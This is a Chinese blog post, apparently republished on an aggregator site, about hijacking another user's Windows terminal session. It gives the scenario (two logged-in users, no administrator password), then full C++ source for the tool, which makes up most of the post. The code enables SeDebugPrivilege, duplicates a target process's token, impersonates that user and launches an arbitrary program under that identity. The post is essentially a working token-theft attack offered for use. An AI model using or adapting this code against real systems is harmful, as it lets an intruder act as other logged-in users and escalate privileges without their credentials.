终端SESSION 下的攻击

Posted persuit

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了终端SESSION 下的攻击相关的知识,希望对你有一定的参考价值。

使用场景:

    一台机器上有两个用户登录会话,想要查看并操作另一个会话但是又没有办法抓到管理员密码
   

使用权限:

    adminitrator 或者system权限


实验环境:

    1 : windows 2008 r2 
    2 : administrator 账户session id = 2
    3 : catcher账户session id = 1
    4 : 在catcher账户模拟session 2 操作administrator(这里catcher权限太低需要提权)

 

实验效果:

  1:查询会话id以及对应会话运行程序

    

  2:在catcher账户中模拟administrator账户的seesion对adminstrator进行操作(这里catcher账户权限太低,所以做了个提权处理)

    

总结:

    如果做成服务启动的话,administrator权限下就可以获得system权限token,可以对任意session进行模拟。

 

源码:

#include <iostream>
#include <Cstring>
#include <windows.h>
#include <Wtsapi32.h>
#include <iphlpapi.h>
#include <WinBase.h>
#include <Tchar.h>
#include <Psapi.h>

#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "Wtsapi32.lib")
#pragma comment(lib,"Psapi.lib")

using namespace std;

bool GetSessionDomain(DWORD dwSessionId, char domain[256])
{
    LPTSTR        pBuffer = NULL;
    DWORD        dwBufferLen;

    BOOL bRet = WTSQuerySessionInformation(
                                    WTS_CURRENT_SERVER_HANDLE,
                                    dwSessionId,
                                    WTSDomainName,
                                    &pBuffer,
                                    &dwBufferLen);
     if ( !bRet )
     {
        printf("WTSQuerySessionInformation Failed!/n");
        return false;
     }

     lstrcpy(domain,pBuffer);
     WTSFreeMemory(pBuffer);

     return true;
}

bool GetSessionUserName(DWORD dwSessionId, char username[256])
{
    LPTSTR        pBuffer    = NULL;
    DWORD        dwBufferLen;
    
    BOOL        bRet = WTSQuerySessionInformation(
                                        WTS_CURRENT_SERVER_HANDLE,
                                        dwSessionId,
                                        WTSUserName,
                                        &pBuffer,
                                        &dwBufferLen);
    if ( !bRet )
    {
        printf("GetSessionUserName Failed!/n");
        return false;
    }

    lstrcpy(username ,pBuffer);
    WTSFreeMemory(pBuffer);

    return true;
}

/* 遍历所有session id 函数 */
int EnmumSessionId()
{
    WTS_SESSION_INFO    *sessionInfo = NULL;
    DWORD                sessionInfoCount;
    char                domain[256];
    char                username[256];
    unsigned int        userCount = 0;
    int                    num=0;
    
    BOOL bRet = WTSEnumerateSessions(
                                WTS_CURRENT_SERVER_HANDLE,
                                0,
                                1,
                                &sessionInfo,
                                &sessionInfoCount);
    if ( !bRet )
    {
        return false;
    }
    
    for (int i = 0; i < sessionInfoCount;++i)
    {
         if( (sessionInfo[i].State == WTSActive) ||
                (sessionInfo[i].State == WTSDisconnected) )
         {
             printf("session %d information:\\n",num++);
             printf("\\tsessionInfo.SessionId=%d\\n",sessionInfo[i].SessionId);
             GetSessionDomain(sessionInfo[i].SessionId, domain); //获得Session Domain
             printf("\\tSession Domain = %s\\n",domain);
             GetSessionUserName(sessionInfo[i].SessionId,username);
             printf("\\tSession username = %s\\n",username);
         }
    }

    // 获取当前sessionid
    DWORD dwSession = WTSGetActiveConsoleSessionId();
    printf("[*] Current Active SessionId = %d\\n",dwSession);

    // 释放内存
    WTSFreeMemory(sessionInfo);

    return 0;
}

/* 提升权限函数 */  
BOOL EnableProcessPrivilege(LPCTSTR lpszPrivName, BOOL bEnable = TRUE)
{
        HANDLE hToken;
        TOKEN_PRIVILEGES tkp;
        BOOL bRet = FALSE;

        bRet = OpenProcessToken(
                        GetCurrentProcess(),
                        TOKEN_ALL_ACCESS_P,
                        &hToken);

        if (bRet == FALSE)
        {
                printf("OpenProcessToken error\\r\\n");
        }

        bRet = LookupPrivilegeValue(
                                NULL,
                                lpszPrivName,
                                &tkp.Privileges[0].Luid); //修改进程权限
        tkp.PrivilegeCount = 1;  
        tkp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED;

        bRet = AdjustTokenPrivileges(
                                hToken,
                                FALSE,
                                &tkp,
                                0,
                                (PTOKEN_PRIVILEGES)NULL,
                                0); //通知系统修改进程权限
        bRet = TRUE;

        CloseHandle(hToken);
        return bRet;
}


int main( int argc,char **argv )
{
    HANDLE    hTokenDup = NULL;
    DWORD dwSessionId = 0;
    HANDLE    hToken = NULL;
    HANDLE hNewToken = NULL;    
    DWORD dwProcessId = atoi(argv[1]);

    /* 提升当前进程权限 */
    if ( !EnableProcessPrivilege(SE_DEBUG_NAME, TRUE) )   //SE_DEBUG_NAME
    {
        printf("[*]:EnableProcessPrivilege failed\\n");
        return false;
    }

    /* 通过pid打开进程 */
    HANDLE hProcess = OpenProcess(
                            PROCESS_QUERY_INFORMATION ,
                            FALSE,
                            dwProcessId); // 得到进程句柄
    if ( NULL == hProcess )
    {
        printf("[-]:OpenProcess GetLastError : %d\\n",GetLastError());
        CloseHandle(hProcess);
    }

    /* 获得进程令牌 */
    BOOL bRet = OpenProcessToken(
                            hProcess,
                            TOKEN_ALL_ACCESS,
                            &hToken); // 打开进程令牌
    if ( FALSE == bRet )
    {
        printf("[-]:OpenProcessToken GetLastError : %d\\n",GetLastError());
        CloseHandle(hToken);
        CloseHandle(hProcess);
    }

    /* 通过pid获取用户session id*/

    DWORD dwLength = 0;
    DWORD tsi = 0;

    if (!GetTokenInformation(
                        hToken,         // handle to the access token
                        TokenSessionId,    // get information about the TokenSessionId
                        &tsi,   // pointer to TokenSessionId buffer
                        0,              // size of buffer
                        &dwLength       // receives required buffer size
      ))
    {
        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
        {
            return false;
        }
    }

    if (!GetTokenInformation(
                        hToken,         // handle to the access token
                        TokenSessionId,    // get information about the TokenSessionId
                        &tsi,   // pointer to TokenSessionId buffer
                        dwLength,       // size of buffer
                        &dwLength       // receives required buffer size
         ))
    {
      return false;
    }

    printf("[*]:Patch sessionId = %d\\n",tsi);
    printf("[*]:Patch processId = %d\\n",dwProcessId);
    printf("[*]:Enable Process Privilege successful\\n");
    
    /* 复制一个进程令牌,目的是为了修改session id属性,以便在其它session中创建进程 */
    BOOL bRes = DuplicateTokenEx(
                            hToken,
                            MAXIMUM_ALLOWED,
                            NULL,
                            SecurityIdentification,
                            TokenPrimary,
                            &hTokenDup);  
    if ( !bRes )
    {
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
    }
        
    if (!ImpersonateLoggedOnUser(hTokenDup))
    {
        printf("[-]:ImpersonateLoggedOnUser GetLastError: %d\\n",GetLastError());
        CloseHandle(hTokenDup);
    }

    /* 把session id设置到备份的令牌中
    BOOL bsRet = SetTokenInformation(
                                hTokenDup,
                                TokenSessionId,
                                &tsi,                //&dwSessionId,
                                sizeof(DWORD));
    
    if ( !bsRet )
    {
        printf("[-]:SetTokenInformation GetLastError: %d\\n",GetLastError());
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
    }
    */
    /* 创建进程*/
    STARTUPINFO   si = {0};
    PROCESS_INFORMATION   pi = {0};
    char path[MAX_PATH];
    lstrcpy(path,argv[2]);  //参数2

    ZeroMemory(&si, sizeof(STARTUPINFO));
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    BOOL status =  CreateProcessAsUser(
                            hTokenDup,            // client\'s access token
                            NULL,   // file to execute
                            (char *)path,     // command line
                            NULL,              // pointer to process SECURITY_ATTRIBUTES
                            NULL,              // pointer to thread SECURITY_ATTRIBUTES
                            FALSE,             // handles are not inheritable
                            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT ,   // creation flags
                            NULL,              // pointer to new environment block
                            NULL,              // name of current directory
                            &si,               // pointer to STARTUPINFO structure
                            &pi                // receives information about new process
                            );
    if ( !status )
    {
        printf("[-]:CreateProcessAsUser GetLastError:%d\\n",GetLastError());
        RevertToSelf();
        CloseHandle(hTokenDup);
        CloseHandle(hToken);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    printf("[*]:CreateProcess successful\\n");
    RevertToSelf();
    CloseHandle(hTokenDup);
    CloseHandle(hToken);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

 

以上是关于终端SESSION 下的攻击的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段4——cli的终端命令大全

linux打开终端如何启动scala,如何在终端下运行Scala代码片段?

python 用于在终端中运行的sublime text 3的简单代码片段制作工具

linux 下的局域网断网攻击或arp欺骗

AJAX请求Session的值为null

Mac下的终端软件iTerm2(可代替secureCRT)